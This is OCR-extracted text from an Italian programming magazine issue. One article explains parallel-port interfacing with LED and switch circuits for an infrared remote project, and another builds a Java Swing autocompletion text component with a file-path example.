ricevere i raggi infrarossi di un qualunque teleco- connettore femmina a 25 fori (più grande rispetto
mando per televisore. Vedremo rapidamente come a quello seriale che è solitamente maschio a 9 pin
montare il circuito necessario e concentreremo la o, nei modelli meno recenti, maschio a 25 pin), di-
nostra attenzione sui dettagli implementativi e le sposti su due file, una da 13 fori e una da 12.
tecniche risolutive dei vari aspetti di “gestione” Nota: per “pin” si intende una terminazione metal-
della periferica. lica che, se innestata in uno zoccolo, stabilisce un
contatto elettrico tra dei componenti.
Come suggeriscono gli stessi nomi, la differenza
LE PORTE sostanziale tra porta parallela e porta seriale sta
Abbiamo parlato prima di “porte”; proprio come proprio nel differente modo di inviare e ricevere
avviene per una qualunque porta, il senso comune dati.
ci suggerisce che si tratti di qualcosa che permetta Attraverso la porta parallela è possibile inviare/ri-

h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 63
063-066 Elettronica 5-06-2003 16:28 Pagina 64

E l e t t r o n i c a G G G G G G G G G G G G G G G G G G G G G

cevere bit su un certo numero di linee parallela- ECP (Extended Capabilities Port).
mente, è quindi possibile trasferire più bit con- Le attuali porte parallele in dotazione sui nostri
temporaneamente. In particolare questa porta di- computer sono in grado di funzionare in tutte
spone di 12 linee di uscita e 5 di ingresso, i restan- queste modalità le quali differiscono per alcune
ti 8 pin della porta sono collegati a massa. funzionalità operative.
Sulla porta seriale bisogna, invece, trasferire i dati La SPP è quella che useremo; nata insieme ai pri-

Elettronica
attraverso linee singole variando con una data fre- mi PC dispone di 3 registri da 8 bit individuati da
quenza (conosciuta sia da chi trasmette che da chi un indirizzo diventato ormai standard, questo in-
riceve) i livelli dei bit da trasmettere. dirizzo viene detto “base” in quanto a partire da
Infine, la porta joystick è una porta di soli ingres- esso esistono altri indirizzi consecutivi anch’essi
si, che può quindi essere usata comodamente per utili per accedere alla porta che corrispondono ai
Un telecomando ricevere input dall’esterno e che generalmente vie- vari registri.
per pilotare il PC ne fornita dalla scheda audio. Il dettaglio dei 3 registri da 8 bit è mostrato sche-
Quando parliamo di linee intendiamo dei collega- maticamente in Fig. 1.
menti che possono rappresentare gli stati logici A puro scopo informativo, il modo di funziona-
“0” o “1”, come sovente avviene si associa lo stato mento della propria porta parallela può essere
“alto” o “1” a +5volt e lo stato logico “basso” o “0” cambiato dal pannello di controllo del sistema
alla massa che, come possiamo vedere in Fig. 1, è operativo e/o dal BIOS, tuttavia tutti i modi di
prelevabile da alcuni pin della stessa porta paral- funzionamento mantengono la compatibilità con
lela. il modo SPP (quindi verso il basso) per cui, nel no-
stro caso, non è necessario apportare alcuna modi-
fica.
Generalmente l’indirizzo 0378h rappresenta la
Alimentazione porta parallela di default, quella installata sulla
esterna scheda madre, se non è diversamente specificato
A volte è necessa- nel BIOS; una porta parallela ausiliaria montata su
rio costruire una slot PCI o ISA viene invece interrogata tramite
periferica che non è
l’indirizzo 0278h.
possibile alimentare di-
rettamente dalla porta Gli indirizzi delle proprie porte parallele possono
parallela o da qualun- essere verificati e/o cambiati dal pannello di con-
que altra porta si sta trollo.
utilizzando per l’inter-
Come abbiamo detto prima la porta parallela di-
facciamento. In questo
caso, per evitare danni, spone di 12 pin di output e 5 di input, questi sono
è necessario che le cor- distribuiti sui 3 registri come segue:
renti che circolano sul Fig. 1: Collegamenti tra i 3 registri della porta pa-
rallela e il connettore.
sul primo registro (quello all’indirizzo base) sono
circuito della periferica
siano fisicamente isola-
mappati 8 pin di output, i restanti 4 si trovano sul
te dal circuito di con- registro “indirizzo base + 2”. Per porre un pin al li-
trollo che è collegato di- È molto importante tenere a mente che la porta vello logico desiderato, è sufficiente scrivere il va-
rettamente alla porta. A parallela è, solitamente, integrata con la scheda lore binario corretto nel registro corrispondente,
tale scopo, generalmen-
te, si adottano partico-
madre, per questo motivo: ad esempio per porre a livello logico “alto” i primi
lari tecniche di fotoac- 4 bit di uscita bisogna scrivere 0Fh (esadecimale)
coppiamento o bufferiz- • non è consigliabile utilizzare la tensione forni- sul primo registro. Analogamente per leggere il li-
zazione che prescindo-
ta dalla porta per alimentare direttamente cir- vello di una delle linee di ingresso deve essere let-
no però dall’aspetto in-
formatico del problema. cuiti che richiedono l’erogazione di correnti si- to il bit del registro che corrisponde all’ingresso da
Potrebbe essere, inol- gnificative (al massimo 2,6 mA). controllare.
tre, una buona idea con- Quando si scrive del software per pilotare una pe-
siderare l’acquisto di
• Quando si vuole segnalare un ingresso “alto” riferica su porta parallela si deve prestare partico-
una porta parallela au-
siliaria da montare su bisogna rispettare il valore di +5volt lare attenzione al fatto che alcuni ingressi e alcune
slot ISA o PCI. uscite non sono collegati sequenzialmente sul con-
• Quando si vuole segnalare un ingresso “bas- nettore ed alcuni di essi presentano anche un’in-
so” la linea corrispondente deve essere impo- versione logica (quelli indicati col pallino vicino al
stata a 0 volt, quindi collegata direttamente a triangolo che indica la direzione dei dati), in que-
massa (quella fornita direttamente dalla por- sto caso, un ingresso “alto” sul connettore pone i
ta), in nessun caso è conveniente lasciare scol- bit corrispondenti sul registro a 0 e viceversa an-
legato un ingresso controllato via software, al che per l’output.
fine di evitare stati di indeterminazione. Può capitare che ci si trovi a dover controllare con-
tinuamente il livello di ingresso di uno dei pin del-
Esistono diversi tipi di porta parallela: SPP (Stan- la porta per verificarne il cambiamento di stato ed
dard Parallel Port), EPP (Enhanced Parallel Port) ed effettuare quindi delle misure, in questo caso ci

64 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
063-066 Elettronica 5-06-2003 16:29 Pagina 65

E E E E E E E E E E E E E E E E E E E E E E l e t t r o n i c a

troveremmo ad interrogare continuamente la por- terrupt. Uno dei driver più semplici da utilizzare
ta con un notevole impatto prestazionale e con il è PortIO driver della Scientific Software Tools Inc.
rischio di non rilevare il cambiamento, nel caso in Questo driver fornisce delle semplici funzioni per
cui questo sia troppo rapido paragonato alla no- l’accesso alle porte, pur non fornendo nessun sup-
stra velocità di interrogazione della porta. Per ov- porto per l’utilizzo dell’interrupt. È sufficiente
viare a questo inconveniente la porta parallela for- scaricare il file da [Link] e in-

Elettronica
nisce il supporto di un interrupt. Un interrupt è stallare il prodotto. Insieme al driver sono distri-
un segnale in grado di interrompere la normale buite le librerie per Visual C++ e Visual Basic e
esecuzione del processore, forzandolo ad eseguire un’applicazione dimostrativa completa di sorgen-
una routine che deve restituire il controllo il più ti. L’ottimo driver che useremo più avanti per
velocemente possibile. L’interrupt, una volta abi- questo progetto si chiama “Universal Parallel Port”
litato scrivendo “1” sul bit 4 del registro “Indirizzo è shareware, supporta anche l’interrupt ed è pro- Un telecomando
Base + 2”, viene generato ogniqualvolta cambia il dotto da una compagnia tedesca, la TheSycon Sy- per pilotare il PC
livello logico del pin di ingresso 10 (bit 6 del regi- stemsoftware & Consulting GmbH. Può essere
stro “Indirizzo Base + 1”). In questa maniera il PC scaricato gratuitamente in versione demo dal sito
non necessita di restare “in attesa” di un cambia- [Link] così come altri driver che
mento tra i bit di input, dal momento che questo gestiscono, tra le altre, anche la porta USB. Una
cambiamento viene direttamente segnalato dalla volta installato il pacchetto, (sotto Windows XP e
porta parallela stessa. Gli altri ingressi non posso- analogamente per gli altri sistemi Windows) per
no essere controllati tramite interrupt. Il sistema attivare l’interrupt bisogna andare nel pannello di
operativo generalmente riserva l’interrupt 7 alla controllo alla voce sistema->gestione periferiche,
prima porta parallela e il 5 a quella ausiliaria cliccare col tasto destro sulla porta LPT ed attiva-
re la voce “Utilizza qualsiasi interrupt assegnato alla
porta”. Insieme al driver vengono forniti: un’ap-
LAVORIAMO plicazione con la quale è possibile da subito scri-
CON LA PORTA PARALLELA vere e leggere valori dalla porta parallela, il codi-
Adesso che conosciamo la porta parallela e che ce sorgente in C++ di questa applicazione, le li-
abbiamo visto come interfacciarla veniamo al me- brerie e la documentazione necessaria a scrivere i
ro problema pratico, come scrivere o leggere i va- propri programmi. I driver appena descritti sono Proteggiamo
lori che vogliamo sui fatidici indirizzi dei registri. presenti anche nel CD allegato alla rivista (cartel- l’hardware
Prima dell’avvento di Windows era sufficiente la “/soft/codice”), consiglio, in ogni caso, di visitare Per questioni di si-
curezza è buona
utilizzare le istruzioni del proprio linguaggio for- i siti delle due società sviluppatrici per eventuali
prassi collegare i propri
nite appositamente per l’accesso alle porte (ad versioni aggiornate dei loro software. Sulla rete circuiti alla porta paral-
esempio in C “inp” e “outp”), sfortunatamente con sono presenti, inoltre, altri driver di diversi svi- lela prima dell’accensio-
Windows le cose si sono fatte più complesse. luppatori che a differenza di quelli citati offrono il ne del PC, in rari casi,
eventuali scintillii o con-
Windows fornisce uno strato di astrazione dal- supporto solo su un particolare sistema operativo
tatti “incerti” potrebbe-
l’hardware per garantirne l’accesso in maniera si- o famiglia di sistemi operativi. Per una lista più ro danneggiare il circui-
cura e da parte di più utenti, per questo motivo la esauriente di driver e di materiale relativo alla to e/o la porta stessa.
lettura/scrittura sulle porte non può essere ese- porta parallela basta conoscere un po’ di inglese e
guita direttamente, ma deve essere effettuata tra- fare un salto su [Link]
mite un driver. Sui sistemi Windows, infatti, ogni
applicazione lavora nel cosiddetto user mode, con-
dizione che permette al programma di accedere IL NOSTRO PROGETTO
alle API del sistema operativo, ma che ne preclu- COMINCIA A “VEDERE
de l’accesso diretto all’hardware, al contrario i dri- LA LUCE”
ver possono lavorare in kernel mode ed avere le Come primo tentativo di interfacciamento vedre-
autorizzazioni necessarie all’accesso diretto ad mo due semplici esempi; il primo è l’accensione di
una periferica. Sfortunatamente la scrittura di un un LED (Light Emitting Diode), quindi come pilo-
driver non è affatto semplice, richiede una note- tare un dispositivo collegato alla porta parallela in
vole conoscenza dei meandri del sistema operati- output, il secondo è, invece, l’operazione inversa,
vo e l’installazione del DDK (Driver Development ovvero il rilevamento dello stato di un pulsante o
Kit) che può essere richiesto direttamente alla Mi- interruttore collegato alla porta. Per pilotare un
crosoft previo pagamento delle sole spese di spe- LED bisogna prima di tutto disporre di un con-
dizione. Tuttavia su internet è possibile trovare nettore maschio D25 da collegare alla porta paral-
numerosi driver freeware o shareware che, una lela, di qualche cavetto di tipo telefonico, di un co-
volta installati, forniscono delle semplici funzioni mune LED e di una resistenza da almeno 120
che accedono direttamente alle porte. Alcuni di Ohm (senza esagerare è possibile discostarsi da
essi forniscono anche il ben più complesso, da un questo valore anche di parecchio, come è possibi-
punto di vista implementativo, supporto dell’in- le vedere in Fig. 2) che limiti l’assorbimento di

h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 65
063-066 Elettronica 5-06-2003 16:30 Pagina 66

E l e t t r o n i c a G G G G G G G G G G G G G G G G G G G G G

Elettronica

Fig. 2: Circuito per il collegamento e l’accensione


Un telecomando di un LED tramite il primo bit di output e pinout
di un LED. Fig. 3: Circuito per il rilevamento dello stato di un
per pilotare il PC
pulsante tramite l’ultimo bit di input.
corrente da parte della porta. Al fine di effettuare
comodamente tutte le prove che ci si propone con
la propria porta parallela, il mio consiglio è quel- put (che deve essere impostato “alto” via softwa-
lo di acquistare un cavo di prolunga che ci eviti di re) quando l’interruttore viene chiuso il potenzia-
cercare la porta parallela ogniqualvolta vogliamo le presente sul pin 11 sarà 0 volt, sarà quindi pos-
collegare il nostro circuito e, eventualmente, di sibile rilevare la pressione dell’interruttore acce-
una breadboard, ovvero una di quelle basette dendo al registro di input della porta parallela (In-
preforate tipiche da laboratorio di elettronica, sul- dirizzo Base + 1). Anche in questo caso, come per il
le quali è possibile montare velocemente e senza primo circuito, è possibile estendere il concetto al-
alcuna saldatura dei circuiti di prova, il tutto con le altre linee di ingresso e collegare altri quattro
una spesa davvero irrisoria. Il circuito da realizza- switch, non sarà necessario comunque sfruttare
Via libera re è quello mostrato in Fig. 2, deve essere prestata altri pin di output, tutti gli switch possono essere
alla fantasia particolare attenzione al fatto che, come mostrato infatti collegati al pin 2 ognuno con la propria re-
La creazione e l’in-
terfacciamento di
in figura il LED ha due piedini di differente lun- sistenza. Adesso sappiamo anche come rilevare lo
periferiche “autoprodot- ghezza che servono a diversificare l’anodo (il ter- stato di un “sensore” (in questo caso uno switch)
te” aggiunge nuovi “sen- minale positivo) dal catodo (quello negativo), un dall’esterno, teoricamente il rilevamento di un
si” al nostro PC, possia-
LED è infatti prima di tutto un diodo, cioè un qualsiasi altro tipo di sensore non si discosta mol-
mo fargli “vedere”, “sen-
tire” o “misurare”, prati- componente elettronico che lascia circolare la cor- to da questo esempio.
camente qualunque cosa. rente in un solo senso. Una volta realizzato e col- Per il nostro progetto vedremo più avanti come
Un’applicazione molto legato questo circuito il LED potrà essere acceso o collegare il ricevitore di infrarossi, il quale si com-
semplice da sviluppare è,
spento direttamente via software scrivendo un porta come un interruttore che viene premuto
per esempio, la misura-
zione dei tempi di caduta “1” sul bit meno significativo del primo registro ogniqualvolta riceve dei segnali.
dei gravi o del passaggio (quello all’indirizzo base) della porta parallela. A
di un oggetto tra due tal proposito può essere utilizzato uno dei driver
punti a distanza nota, per
verificare sperimental-
prima citati, anche direttamente dall’applicazione CONCLUSIONI
mente le leggi della fisi- con essi fornita. Essendo la porta parallela dotata In questo articolo abbiamo visto sufficientemen-
ca. Il tutto può essere di 12 linee di output questo “luminoso” progetto te in dettaglio la maggior parte degli aspetti le-
realizzato attraverso due è ovviamente estendibile facilmente fino a 12 LED gati all’hardware nei problemi di interfacciamen-
semplici interruttori che
segnalano i passaggi del-
e ci si può sbizzarrire via software in giochi di lu- to con la porta parallela, in effetti non c’è molto
l’oggetto. Sfruttando i ce pilotati, ad esempio, dall’audio per realizzare di più da sapere per progettare la propria perife-
“performance counter” di un VU meter. Nessuno ci impedisce, inoltre, di so- rica di acquisizione dati dall’esterno o di coman-
sistema è possibile otte- stituire i LED con delle vere e proprie lampade, in do di “attuatori” quali motori, servocomandi
nere, inoltre, misurazioni
molto accurate anche
questo caso però è necessario cambiare significati- etc..
sotto l’ordine dei millise- vamente il circuito, dal momento che, come dice- Nel prossimo articolo concentreremo invece l’at-
condi. vamo prima, la porta parallela non è in grado di tenzione sul progetto che ci siamo proposti sin
alimentare grossi carichi, argomento questo che dall’inizio, ovvero la ricezione e l’interpretazione
prescinde dai nostri scopi. Il secondo circuito è dei segnali provenienti da un comune teleco-
quello mostrato in Fig. 3, questo caso è tecnica- mando a infrarossi. Vedremo come montare il
mente più complesso, tuttavia il concetto che sta sensore e ci occuperemo in dettaglio di tutti gli
alla base di tale circuito è una regola fondamenta- aspetti software che, come osserveremo, richia-
le dell’elettronica digitale: un terminale scollegato mano anche alcuni concetti fondamentali di pro-
rappresenta uno stato di indeterminazione che è grammazione multithread.
necessario evitare. Noi abbiamo collegato un resi- Spero di avere stimolato la vostra curiosità, non
stenza tra il pin 2 e il pin 11 (input), in questo mo- mi resta che salutarvi e darvi l’appuntamento al
do quando l’interruttore (switch) è aperto il pin 11 prossimo mese.
risulta allo stato “alto” tramite il primo bit di out- Amedeo Margarese

66 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
067-070 Sistema AC 4-06-2003 10:56 Pagina 67

E E E E E E E E E E E E E E E E E E E E E E E S i s t e m a

✓ Swing: nuove funzioni per l’interfaccia


L’intellisense nelle
tue applicazioni Sistema
In quest'articolo vedremo come di autocompletamento, presenteremo l'implementa- File sul CD
realizzare un componente zione di un componente di testo swing che permetta \soft\codice\
[Link]
di testo swing che permetta l'autocompletamento e infine mostreremo un esempio
di utilizzo di questo componente per scrivere percorsi
l'autocompletamento del codice.
di file (path).
Un po’ come avviene nei più In sostanza potrete usare questo componente, ad esem- File sul Web
[Link]/ioprog71/
moderni IDE di programmazione. pio, per facilitare la scrittura di query SQL (mostrando [Link]
a seguito della digitazione del punto dopo il nome del-
la tabella, l'elenco dei relativi campi), di indirizzi inter-
net, di codice di linguaggi script e per quanto altro pos-

U
na svolta importante nell'evoluzione dei tool sa venirvi in mente.
di sviluppo Java è stata senza dubbio l'intro-
duzione dell'autocompletamento del codice.
Infatti in un editor Java che incorpori questa tecnolo- DEFINIAMO
gia, è possibile, ad esempio, allorché si digita il punto L'AUTOCOMPLETAMENTO
dopo il nome di un oggetto, vedere i relativi campi e Per autocompletamento intendiamo il seguente com-
metodi, selezionarli e fare in modo che il codice sia au- portamento: durante la digitazione in un campo di te-
tomaticamente scritto (Fig. 1). sto, alla digitazione di un carattere chiave (di attivazio-
ne), compare una finestra di popup che, a seconda del-
la parola che si trova a sinistra del carattere di attiva-
zione, presenta una serie di valori selezionabili. La fi-
nestra compare solo se ci sono valori selezionabili (cioè
se la lista di valori associata alla stringa a sinistra del
carattere di attivazione non è vuota, quindi, sintattica- Requisiti
Gli esempi di questo ar-
mente parlando, se tale stringa è corretta).
ticolo sono stati testati
A questo punto l'utente può: con la seguente confi-
gurazione
• Selezionare con un click del mouse la voce che gli
• PC: PIII 800MHz,
interessa. 128Mb RAM

• Selezionare spostandosi con i tasti cursore una vo- • Sistema Operativo:


Fig. 1: L'autocompletamento in azione in Eclipse
ce del menu e accettarla con un invio. Windows 2000
per MacOs X.
Pro SP3.

I vantaggi sono evidenti (evitare di leggere continua- • Continuare a scrivere e se i caratteri che sta digi-
mente le API e la documentazione, riduzione drastica tando sono parte di una voce della lista, questa vo-
di errori di battitura) ed è difficile pensare oggi di po- ce viene selezionata ed eventualmente accettata
ter sviluppare in Java senza questo aiuto (anche se pur- con un invio.
troppo esistono, anche ambienti produttivi dove il tool
di sviluppo Java è un semplice editor di testo come Ul- • Premere un tasto di uscita (normalmente ESC) e
traedit). Alcuni programmatori, come il sottoscritto, nascondere la finestra di popup e continuare a scri-
hanno cominciato a pensare che non sarebbe stato ma- vere senza l'aiuto dell'autocompletamento.
le includere una tecnologia simile (eventualmente sem-
plificata e più generale) all'interno delle loro applica- Nei primi tre casi la voce selezionata verrà scritta nella
zioni, in contesti non strettamente legati alla stesura di finestra di testo a destra del carattere di attivazione e
codice Java. viene nascosta la finestra di popup.
In questo articolo daremo inizialmente una definizione Vediamo ora come poter implementare un compo-

h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 67
067-070 Sistema AC 4-06-2003 10:56 Pagina 68

S i s t e m a G G G G G G G G G G G G G G G G G G G G G G G G

nente di questo tipo in Java. restituisce una lista di stringhe. Il programmatore


dovrà implementare questo metodo per definire la
logica dell'autocompletamento.
SCRIVIAMO
IL COMPONENTE La TextPaneAutoCompletion si aspetta nel suo co-
Per poter il componente TextPaneAutoCompletion abbia- struttore un oggetto di una classe che implementa l'in-
Sistema mo bisogno di poter specificare le seguenti proprietà: terfaccia AutoCompletionModel. In questo modo infatti,
al momento della pressione del carattere di attivazione,
• carattere di attivazione. E' il carattere che attiva la tramite il metodo getWordList dell'AutoCompletionMo-
finestra di popup con la lista di scelte. Per l'auto- del si ottiene la lista di stringhe da visualizzare nella fi-
L’intellisense completamento di codice Java questo carattere è il nestra di popup. Analizziamo ora la classe TextPaneAu-
nelle tue
punto ('.'). Potrebbe essere un altro carattere se la- toCompletion, per vedere la soluzione, adottate in rela-
applicazioni
voriamo in altri contesti (nell'esempio di un auto- zione i problemi più importanti.
completamento per la scrittura di percorsi di file
sarà il separatore di file, variabile a seconda del si-
stema operativo); CHI HA IL FOCUS?
Un problema di non facile soluzione nella creazione
• insieme di caratteri che devono essere interpreta- del nostro componente, è la situazione anomala che si
ti come separatori di parole. E' importante defini- crea quando appare la finestra di popup per la scelta di
re questo insieme perché in questo modo possiamo un valore dalla lista. Quale componente ha il focus in
identificare quale stringa a destra del carattere di questo momento? Quale componente gestisce gli even-
attivazione deve essere considerata per generare la ti della tastiera? Il JTextPane o la JWindow? Noi voglia-
Separatore di lista di scelta. Nel caso di codice Java, ad esempio, mo che spostandoci con il cursore, possiamo seleziona-
file e di path non devono essere inclusi tra questi separatori il '.', re le voci e accettarle premendo invio, ma vogliamo an-
Nei sistemi Win-
le parentesi tonde, le parentesi quadre, mentre lo che poter continuare a scrivere. Come si può fare?
dows i file sono
separati dal carattere devono essere altri caratteri come le parentesi graf- La prima soluzione che viene in mente è quella di la-
di backslash (\) e i fe, lo spazio, la virgola, il punto e virgola, ecc. In ge- sciare il focus alla finestra di testo (dando, però, il pri-
path dal punto e virgo- nerale questo insieme dipende dal contesto per il mo piano alla JWindow) e attivare dei listener per alcu-
la (;), mentre nei siste-
mi Unix-like (Linux,
quale stiamo scrivendo l'autocompletamento e ni tasti (cursore su, cursore giù, invio, esc) in modo da
MacOsX) i file sono se- quindi un componente generale deve permettere al agire sulla popupWindow. Ma non è sufficiente. Così fa-
parati dal carattere programmatore di impostare tale insieme. cendo infatti possiamo intercettare la pressione del ta-
slash (/) e i path dai sto cursore giù e spostare la selezione della lista sull'e-
due punti (:).
Non abbiamo ancora parlato di come fornire la lista dei lemento successivo ma, avendo il JTextPane ancora il
valori di scelta a partire dalla parola identificata a sini- focus, non possiamo impedire che il cursore si sposti.
stra del carattere di attivazione. Ovviamente la crea- Come fare allora?
zione di questa lista dipende esclusivamente dal conte- La risposta è nell'utilizzo delle KeyMap. Una KeyMap è,
sto in cui stiamo applicando l'autocompletamento. Se in poche parole, la mappatura fra il tasto premuto e l'a-
si tratta di codice Java, si deve valutare la classe del- zione da eseguire. I componenti di testo Swing hanno
l'oggetto risultante dall'espressione e presentare i cam- una struttura ad albero per gestire le KeyMap. Se non
pi e i metodi di quella classe. Nel caso di codice SQL, la specificata, tutti utilizzano la DEFAULT_KEYMAP.
lista presenta i campi della tabella identificata a sinistra Quello che dobbiamo fare noi è definire una nuova
Eclipse del carattere di attivazione. L'implementazione della KeyMap “figlia” di quella di default che “sovrascriva”
Eclipse è un tool di
creazione della lista dei valori deve essere quindi la- solo il comportamento di alcuni tasti. La creazione di
sviluppo Open-
Source scritto in Java sciata al programmatore che userà il nostro componen- una nuova KeyMap è definita nel seguente metodo:
molto potente e versa- te, fornendogli la definizione del metodo (mediante
tile disponibile per tutt un’interfaccia) che poi dovrà scrivere lui stesso. Riepi- private void addPopupKeyMap()
le piattaforme che in-
logando, il nostro pacchetto dell'autocompletamento {
corpora l'autocomple-
tamento. E' scaricabile comprende solamente due elementi: originalKeyMap = getKeymap();
all'indirizzo [Link]- popupKeyMap = addKeymap("popupBindigs",
[Link]. • la classe TextPaneAutoCompletion, sottoclasse di originalKeyMap);
JTextPane, che definisce il componente di testo con Action action = new PopupScrollAction(1);
le caratteristiche sopra descritte. All'interno di Text- KeyStroke key = [Link]
PaneAutoCompletion è presente l'inner class Po- (KeyEvent.VK_DOWN, 0);
pupWindow, (una JWindow un po' particolare), adi- [Link](key, action);
bita alla presentazione della lista di valori selezio- action = new PopupScrollAction(-1);
nabili key = [Link](KeyEvent.VK_UP, 0);
[Link](key, action);
• l'interfaccia AutoCompletionModel, che definisce action = new PopupScrollAction(-5);
un solo metodo (getWordList) che, data una stringa, key = [Link](KeyEvent.VK_PAGE_UP, 0);

68 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
067-070 Sistema AC 4-06-2003 10:57 Pagina 69

E E E E E E E E E E E E E E E E E E E E E E E S i s t e m a

[Link](key, action); ...


action = new PopupScrollAction(5); }
key = [Link]
(KeyEvent.VK_PAGE_DOWN, 0); Alla chiusura della finestra di popup, viene ristabilita
[Link](key, action); la KeyMap originale:
action = new PopupCopyTextAction();
key = [Link](KeyEvent.VK_ENTER, 0);
[Link](key, action);
private void remap()
{ Sistema
action = new PopupCloseAction(); ...
key = [Link](KeyEvent.VK_ESCAPE, 0); setKeymap(originalKeyMap);
[Link](key, action); }
L’intellisense
nelle tue
}
applicazioni
Vediamo ora come utilizzare il TextPaneAutoCompletion
Analizziamo il codice. Nella variabile originalKeyMap in un esempio pratico.
andiamo a memorizzare la KeyMap di default della
JTextPane. Creiamo la nostra KeyMap popupKeyMap, co-
me “figlia” di originalKeyMap e la aggiungiamo all'al- COMPLETARE I PERCORSI
bero gerarchico delle KeyMap della JTextPane. Fin qui la Come esempio pratico, applichiamo il nostro compo-
nostra KeyMap è in tutto e per tutto uguale a quella di nente di autocompletamento per scrivere percorsi di fi-
default. Dobbiamo specificare ora quale coppia tasto- le. Possiamo cominciare scrivendo il modello dell'auto-
azione vogliamo sovrascrivere. Per ogni coppia, dob- completamento, la classe che implementa l'interfaccia
biamo creare un'azione. In TextPaneAutoCompletion ci AutoCompletionModel, che chiamamo PathCompletion-
sono tre inner class che implementano l'interfaccia Ab- Model:
stractAction, una per lo spostamento della selezione
nella lista (PopupScrollAction), una per la copia del testo public class PathCompletionModel
selezionato della lista nella finestra di testo (Popup- implements AutoCompletionModel {
CopyAction), una per la chiusura della popupWindow
Mac Os X
(PopupCloseAction). public List getWordList(String word) {
e Java
Mac Os X è recen-
Ad esempio, per assegnare l'azione di spostamento in temente diventato
basso di una posizione della lista delle voci, si procede String path = [Link](); una tra le più complete
in tre passi: piattaforme di svilup-
po Java. Tuttavia es-
File f = new File(path);
sendo la sua distribu-
• creazione dell'azione corrispondente. In questo ca- zione dell'ambiente Ja-
so di una PopupScrollAction(-1) if([Link]() && [Link]()) va non Sun, ma Apple,
return [Link]([Link]()); in alcune circostanze, i
comportamenti di al-
• ottenimento della KeyStroke (oggetto che rappre- else
cuni metodi non sono
senta l'azione della pressione di un tasto della ta- return new ArrayList(); uguali. Uno di questi è
stiera) corrispondente al carattere KeyEvent.VK_ } il metodo getCaretPo-
sition() di una Jtext-
DOWN (cursore giù) senza modificatori (come
Component. Nel codice
SHIFT, CTRL, etc.) Il metodo getWordList deve restituire una lista di voci è presente un piccolo
da visualizzare nella finestra di popup. In questo esem- workaround ad-hoc
• aggiunta della coppia di oggetti ottenuti nei punti pio la variabile word passata al metodo è interpretata per Mac Os X per ov-
viare a questa diffe-
precedenti nella KeyMap popupKeyMap. come un path. Creiamo un oggetto file partendo dal
renza.
path. Se questo file esiste (path corretto ed esistente) e se
In questo modo siamo sicuri che, quando la popupKey- è una directory, restituiamo l'elenco dei file presenti
Map è attiva per questo componente, alla pressione del nella directory, in tutti gli altri casi restituiamo una lista
tasto cursore giù, verrà eseguita l'azione specificata (lo vuota, facendo così in modo che non venga visualizza-
spostamento della selezione della lista e non invece lo ta la finestra di popup. Scriviamo ora il codice che con-
spostamento in basso nel cursore nella finestra di te- tiene il componente TextPaneAutoCompletion. Si tratta
sto). Questa operazione va ripetuta per tutti i tasti che di una classe che contiene solo il metodo main. Effetti-
vogliamo associare ad una azione diversa da quella di vamente l'esempio poteva consistere in una sola classe,
default. ma abbiamo preferito separare la logica del modello
Una volta creata, la popupKeyMap viene attivata solo dall'applicazione, anche se veramente in piccolo),
quando viene visualizzata la popupWindow:
public class PathCompletion
private void showPopup(String word, int pos) {
{ public static void main(String args[])
... {
setKeymap(popupKeyMap); JFrame f = new JFrame("Path Completion");

h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 69
067-070 Sistema AC 4-06-2003 17:35 Pagina 70

S i s t e m a G G G G G G G G G G G G G G G G G G G G G G G G

TextPaneAutoCompletion textAuto =
new TextPaneAutoCompletion(new
PathCompletionModel());
[Link]([Link]);
char seps[] = { '\t', '\n' , [Link] };
// Non includiamo spazi, in quanto possibili

Sistema [Link](seps);
caratteri in un file

[Link]().add("Center", new

L’intellisense [Link]().add( "North",


JScrollPane(textAuto));

nelle tue
applicazioni new JLabel("File Separator: "+
[Link]+ " - "+
[Link]("[Link]")));
[Link](400, 400);
Fig. 3: L'esempio dell'autocompletamento di path
[Link](true); in esecuzione su Mac Os X.
}
}
tenere, a seconda del sistema operativo che stiamo
Per prima cosa instanziamo un oggetto di tipo JFrame, usando, qualcosa di simile alla Fig.2, se usiamo un si-
che conterrà la nostra finestra di testo. Creiamo una stema Win32 (nella fattispecie Windows 98) o alla
TextPaneAutoCompletion passando come parametro al Fig.3, se usiamo un Unix-like (nello specifico Mac Os
costruttore una nuova istanza di PathCompletionModel, X). A questo punto possiamo giocare un po' con l'e-
il modello di autocompletamento di path definito so- sempio, per provare le funzionalità che abbiamo de-
pra. Ora dobbiamo impostare le regole fondamentali scritto nell'articolo e vedere il comportamento del no-
per la finestra di testo. stro componente.
Innanzi tutto dobbiamo impostare il carattere di atti-
Software vazione, che in questo caso è il separatore di file, che
di esempio prendiamo dal campo statico separatorChar della classe CONCLUSIONI
Il codice sorgente File. Successivamente dobbiamo impostare l'insieme di In questo articolo abbiamo visto come l'autocompleta-
del componente
caratteri che definiscono la seprazione tra path. Defi- mento possa essere una funzionalità utile anche al di
dell'autocompletamen
to, così come quello niamo dunque un array di caratteri in cui includiamo fuori dei tool di sviluppo Java. Abbiamo mostrato l'im-
dell'esempio sono pre- il newline, il tab (non lo spazio perché può essere parte plementazione di un componente di testo (TextPaneAu-
senti sul CD. I file del- di un nome di file) e il separatore di path che prendia- toCompletion) che permettte l'autocompletamento in
l'esempio (PathCom-
mo dal campo statico pathSeparatorChar della classe Fi- diversi contesti definibili dal programmatore. Infine
[Link] e Path-
CompletionModel) so- le. Aggiungiamo al frame la TextPaneAutoCompletion al abbiamo scritto il codice per un piccolo esempio di un
no nel default packa- centro e una JLabel che indica il separatore di file e il si- applicazione che utilizza l'autocompletamento per
ge, mentre i file del stema operativo che stiamo utilizzando in cima. Infine specificare percorsi di file.
componente (TextPa-
dimensioniamo il frame e lo rendiamo visibile. Possia-
neAutoCompletion e
AutoCompletionModel) mo ora eseguire l'applicazione. Comparirà un frame
sono nel package com. con una finestra di testo.
autocompletion. Se iniziamo a digitare un path, premendo il tasto cor-
rispondente al carattere separatore di file, possiamo ot-

Fig. 4: Il componente dell'autocompletamento in


azione in un programma per la scrittura di query
SQL.

Oltre all'esempio mostrato, in Fig.4 è mostrato il com-


